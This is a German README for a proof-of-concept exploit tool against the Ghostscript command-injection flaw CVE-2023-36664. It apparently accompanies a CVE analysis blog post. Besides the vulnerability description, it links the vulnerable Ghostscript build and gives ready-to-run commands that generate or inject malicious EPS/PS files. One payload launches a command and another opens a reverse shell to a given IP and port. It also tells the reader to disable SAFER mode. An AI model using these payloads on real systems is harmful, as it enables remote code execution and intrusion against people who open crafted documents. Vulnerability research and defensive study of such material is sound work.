
Proof-of-Concept-Exploit für Ghostscript Befehlseinschleusung (CVE-2023-36664) mit Payload-Generierung und Injektion in EPS/PS-Dateien zur Codeausführung.
Schwachstelle in Ghostscript vor Version 10.01.2 führt zur Codeausführung (CVSS-Score 9.8).
Offizielle Schwachstellenbeschreibung:
Artifex Ghostscript bis 10.01.2 behandelt die Berechtigungsvalidierung für Pipe-Geräte (mit dem %pipe%-Präfix oder dem |-Pipe-Zeichen-Präfix) nicht ordnungsgemäß.
Debian veröffentlichte ein Sicherheitsbulletin, das die mögliche Ausführung beliebiger Befehle erwähnt:
„Es wurde entdeckt, dass Ghostscript, der GPL PostScript/PDF-Interpreter, die Berechtigungsvalidierung für Pipe-Geräte nicht ordnungsgemäß handhabt, was zur Ausführung beliebiger Befehle führen kann, wenn fehlerhafte Dokumentdateien verarbeitet werden."
Dieses Repository wurde für einen CVE-Analyse-Blogbeitrag erstellt, der auf dem vsociety Blog verfügbar ist.
Laden Sie Ghostscript 10.01.1 hier herunter: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Direkter Link zum Windows x64-Programm: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
Die Ausnutzung kann beim Öffnen einer PS- oder EPS-Datei erfolgen und eine Codeausführung ermöglichen, die durch die fehlerhafte Berechtigungsvalidierung für Pipe-Geräte in Ghostscript verursacht wird.
Verwendung: python3 CVE_2023_36664_exploit.py <input_file> <command>
Beispiel:
python3 CVE_2023_36664_exploit.py file.eps "calc"
Dies erzeugt eine neue Datei namens file_injected.eps.
Öffnen Sie diese mit Ghostscript, um den Rechner auszulösen (ab Version 9.50 müssen Sie auch die Option -dNOSAFER verwenden):
gs10011w64.exe -dNOSAFER .\file_injected.eps
Weitere Beispiele: Erzeugen Sie eine neue EPS-Datei namens run_calculator.eps mit dem Payload "calc" (öffnet einen neuen Rechner unter Windows)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
Erzeugen Sie eine neue EPS-Datei namens rev_shell.eps mit einer benutzerdefinierten IP (startet eine Reverse Shell, wenn auf Unix ausgelöst)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
Erzeugen Sie eine neue PS-Datei malicius.ps mit dem Payload "calc" (öffnet einen neuen Rechner unter Windows)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
Fügen Sie einen bösartigen benutzerdefinierten Payload ("calc") in eine vorhandene Datei namens file.eps ein (öffnet einen neuen Rechner unter Windows)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
Diese Software wurde ausschließlich zu Zwecken der akademischen Forschung und zur Entwicklung effektiver Verteidigungstechniken erstellt und ist nicht dazu bestimmt, Systeme anzugreifen, es sei denn, dies wurde ausdrücklich genehmigt. Die Projektverantwortlichen sind nicht verantwortlich oder haftbar für Missbrauch der Software. Verwenden Sie sie verantwortungsbewusst.